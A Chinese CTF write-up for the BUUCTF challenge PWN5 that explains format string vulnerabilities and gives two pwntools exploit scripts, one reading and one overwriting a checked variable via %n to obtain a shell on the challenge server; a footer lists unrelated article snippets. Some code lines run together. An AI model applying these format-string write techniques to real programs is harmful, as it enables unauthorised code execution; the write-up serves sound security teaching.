buuctf-pwn-[第五空间2019 决赛]PWN5-格式化字符串漏洞

news/2024/10/5 9:31:07

题目地址:https://buuoj.cn/challenges#[第五空间2019 决赛]PWN5

先检查一下保护情况

再拖进ida里分析

找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值
从而进入if语句中,拿到shell

什么是格式化字符串漏洞

所谓格式化字符串漏洞,就是我们能控制格式化字符串函数的格式化字符串,从而实现在任意地址读数据、写数据

格式化字符串函数有:

函数 作用
printf 发送格式化输出到标准输出 stdout
fprintf 发送格式化输出到流 stream 中
vprintf 使用参数列表发送格式化输出到标准输出stdout
sprintf 发送格式化输出到 str 所指向的字符串
snprintf 与sprintf相同,但会限制输出的字符数,避免缓冲区溢出
vsprintf 使用参数列表发送格式化输出到字符串
... ...
正常的printf是这样的
char buf[100];
scanf("%s",buf);
printf("%s",buf)
有格式化字符串漏洞的printf
char buf[100];
scanf("%s",buf);
printf(buf)
下面的代码段让用户控制了格式化字符串函数的格式化参数 也就产生了漏洞 不少程序员可能就无意的写出这样的代码

格式化字符串任意地址读取数据

首先输入 AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p ,后面是若干个%p,然后我们从打印的数据中找0x41414141(AAAA)

发现0x41414141位于第十个位置,这就是buf字符数组的位置,后面是我们输入的0x70257025(%p%p)

printf的第一个参数是我们输入的格式化字符串,printf不会检查后面是不是printf的参数,只会根据printf的第一个参数中的格式化操作符(%p等),依次后面找地址,并将地址上的值按照格式输出,%n$p表示往后面找第10个,也就是printf的第11个参数,所以我们可以直接用 %10$p 来代替10个 %p ,即可直接输出0x41414141

后面我们就可以尝试修改AAAA的值为dword_804C044的地址,修改 %10$p%10$s
我们用pwntools辅助我们进行操作

读取dword_804C044的值解法
from pwn import *#context.log_level= 'debug'
p = process("./pwn")bss_addr = 0x804c044
payload = p32(bss_addr)+b'%10$s'p.sendline(payload)p.recvuntil(b"Hello,")
num = u32(p.recv()[4:8]) #当接收到'hello,'之后,后面四个字节为p32(bss_addr),之后就是bss_addr处的值,因为是int,所以读取四个字节
p.sendline(str(num).encode())
p.interactive()

这样就可以拿到shell了
下面我们介绍另一种方法

格式化字符串任意地址写数据

写数据主要靠%n这个不常用的符号,%n不输出字符,而是把已经输出的字符数写到该地址处

我们将 %10$s 换成 %10$n,就可以在bss_addr处写数值了
因为bss_addr处的值为int类型,所以我们要连续覆盖四个字节,复制四份,记得改一下%n中间偏移的量
p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n'+b'%11$n'+b'%12$n'+b'%13$n'
改之后前四个地址占据了printf函数第10、11、12、13个参数,所以相应的使用 %10$n%11$n%12$n%13$n

修改dword_804C044的值解法
from pwn import *context.log_level="debug"#p = process("./pwn")
p = remote("node5.buuoj.cn",27945)bss_addr = 0x804c044payload = p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n'+b'%11$n'+b'%12$n'+b'%13$n'p.sendline(payload)p.recvuntil(b"passwd:")
p.sendline(str(0x10101010))#我们输出了4个32位的地址,每个地址4字节,共16字节,也就是0x10(十六进制)#将int型变量每个字节变成了0x10,所以我们将0x10101010转成十进制字符串发送,即可成功匹配p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/28753.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

9.数字马力面试

9.1 Java基础9.1.1 volatile的概述和原理在Java中volatile是一个防止指令重排以及保证可见性的关键字。如果我们将变量声明为volatile,那么就指示JVM这个变量共享且不稳定,每次从主存中进行读取。AQS的status就是使用volatile修饰的。 借用Guide哥的图片:   如果将变量声明…

【vue3入门】-【21】 组件传递数据

组件传递数据_Props静态数据传递组件与组件之间不是完全独立的,而是有交集的,那就是组件与组件之间是可以传递数据的 传递数据的解决方案就是props app.vue <template><!--主要要生效Header中的样式,需要删除main.json中默认的main.css样式--><!--不需要再次…

走过人生的复平面:个人信息学奥林匹克生涯回顾

从最开始到一切的结局,完整详细的个人回忆录。走过人生的复平面—— 个人信息学奥林匹克生涯回顾写在前面:一个简单的介绍 信息学奥林匹克竞赛,即 Olympiad in Informatics,AKA OI,而学习 OI 的人则自称为 OIer。通常来讲,一个中国大陆 OIer 的一个赛季是,参加 10 月份的…

如何批量重命名,把文件(夹)名的内容位置调整(前后移动)

首先,需要用到的这个工具:度娘网盘 提取码:qwu2 蓝奏云 提取码:2r1z 情况是这样,把“中文[数字]”的名称,改为"中文 - 数字"打开工具,切换到 文件批量复制 模块,快捷键Ctrl+5找到右下角的“重命名”按钮,打开把那些文件拖入进去,也可以用右侧的导入按钮(如…

vue的template中访问不到变量

描述 源代码 <h4>&emsp;&emsp;{{hitokoto.hitokoto}}</h4>报错如下。解决 普通字符和变量之间加个空格就行了 <h4>&emsp;&emsp; {{hitokoto.hitokoto}}</h4>

Ryght 在 Hugging Face 专家助力下赋能医疗保健和生命科学之旅

本文是 Ryght 团队的客座博文。Ryght 是何方神圣? Ryght 的使命是构建一个专为医疗保健和生命科学领域量身定制的企业级生成式人工智能平台。最近,公司正式公开了 Ryght 预览版 平台。 当前,生命科学公司不断地从各种不同来源 (实验室数据、电子病历、基因组学、保险索赔、药…

如何搜索空文件夹_名称为(纯或含)中/英/数/符

首先,需要用到的这个工具:度娘网盘 提取码:qwu2 蓝奏云 提取码:2r1z 打开工具,切换到批量文件复制版块,快捷键Ctrl+5点击右侧的搜索添加设定要搜索的范围、指定为文件夹、包括子目录,勾选详细条件在过滤条件里,勾选“按命名”,“含有内容”,“仅文件夹名”,“任意”…

认识linux内核(linux内核的作用)

目录认识linux内核Linux内核实现策略哪些地方用到了内核机制?Linux进程Linux内核源代码的目录结构Linux内核体系结构(就是Linux系统是怎么构成的)Linux体系结构和内核结构区别 认识linux内核 1.从技术层面讲,内核是硬件与软件之间的一个中间层。作用是将应用层序的请求传递…